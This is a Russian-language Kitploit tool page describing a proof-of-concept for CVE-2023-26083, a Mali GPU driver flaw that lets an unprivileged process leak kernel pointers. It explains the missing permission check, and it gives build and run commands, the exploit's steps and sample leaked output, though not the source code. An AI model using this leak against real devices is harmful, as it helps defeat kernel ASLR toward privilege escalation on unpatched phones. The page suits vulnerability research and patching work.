Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-26083 — CVE-2023-26083-Mali-InfoLeak-PoC | Kitploit
Инструменты/GitHubGitHub/noverisp3/cve-2023-26083
Анализ уязвимостейЭксплуатацияСбор информацииБезопасность оборудования и IoTОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubnoverisp3/cve-2023-26083

CVE-2023-26083

CVE-2023-26083-Mali-InfoLeak-PoC

Репозиторий
124 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-26083 – Утечка адресов ядра GPU Mali через timeline stream

Этот репозиторий содержит proof-of-concept (PoC) эксплойт для CVE-2023-26083 — уязвимости в драйвере GPU Mali (Arm Mali GPU Kernel Driver), которая позволяет непривилегированному пользователю раскрывать указатели ядра и конфиденциальную внутреннюю информацию через timeline stream (/dev/mali0).

Обзор уязвимости

Драйвер GPU Mali предоставляет функцию «timeline stream» (tlstream) для профилирования и отладки. Этот поток экспортирует события, содержащие «сырые» указатели ядра (например, адреса kbase_context, kbase_gpu, kbase_lpu, адресных пространств, атомов и т.д.). В обычных условиях доступ к этому потоку должен требовать флаг BASE_CONTEXT_CREATE_FLAG_MONITOR. Однако из-за отсутствующей проверки прав в обработчике KBASE_IOCTL_TLSTREAM_ACQUIRE любой процесс (даже без флага монитора) может получить файловый дескриптор timeline stream и читать адреса памяти ядра.

Воздействие:

  • Утечка указателей ядра нейтрализует ASLR ядра (KASLR).
  • В сочетании с другими уязвимостями (например, use-after-free, произвольная запись) это может привести к повышению привилегий или произвольному выполнению кода в ядре.
  • Сама утечка раскрывает внутреннее состояние драйвера и может использоваться для снятия отпечатков (fingerprinting).

Затронутые версии

  • Версии Arm Mali GPU Kernel Driver до исправления CVE-2023-26083.

Сборка и запуск

Предварительные требования

  • Устройство с GPU Mali (например, Exynos, MediaTek, некоторые SoC Rockchip).
  • Права root не требуются — PoC работает от непривилегированного пользователя.
  • Ядро должно содержать драйвер Mali, встроенный или в виде модуля (должен существовать /dev/mali0).

Компиляция

Поскольку код является самодостаточным и автономным, вы можете легко кросс-компилировать его с помощью стандартных инструментов.

1. Для Android (рекомендуется)

Используйте тулчейн Android NDK для компиляции под устройства ARM64. Настоятельно рекомендуется использовать статическую компоновку, чтобы избежать проблем совместимости с динамическим компоновщиком на разных версиях Android:

aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c

2. Для ARM-устройств/плат с Linux

Если вы тестируете на ARM-плате разработчика (например, Raspberry Pi или Odroid) с GPU Mali и стандартным дистрибутивом Linux:

gcc -static -o mali_tlstream_leak mali_tlstream_leak.c

Запуск

./mali_tlstream_leak

Программа выполнит следующие действия:

  1. Откроет /dev/mali0.
  2. Выполнит проверку версии.
  3. Установит флаги в BASE_CONTEXT_CREATE_FLAG_NONE (без привилегии монитора).
  4. Получит timeline stream (уязвимый ioctl).
  5. Будет читать пакеты timeline в течение нескольких секунд.
  6. Разберёт и отобразит утечки указателей ядра (отмечены как *** KERNEL).

Пример вывода

Примечание: Данный Proof-of-Concept (PoC) был протестирован только на Samsung Galaxy J7 Prime под управлением Android 8.1.0 (ядро 3.18) с уровнем безопасности от 1 апреля 2020 года.

on7xelte:/data/local/tmp $ ./mali_tlstream_leak
Version: major=11 minor=5
SET_FLAGS ok
TLSTREAM_ACQUIRE ok, tlfd=4
Read 3805 bytes from tlstream (total=3805)

Raw hex dump (3805 bytes):

0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54

Parsing packets:

Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0
Скачать инструмент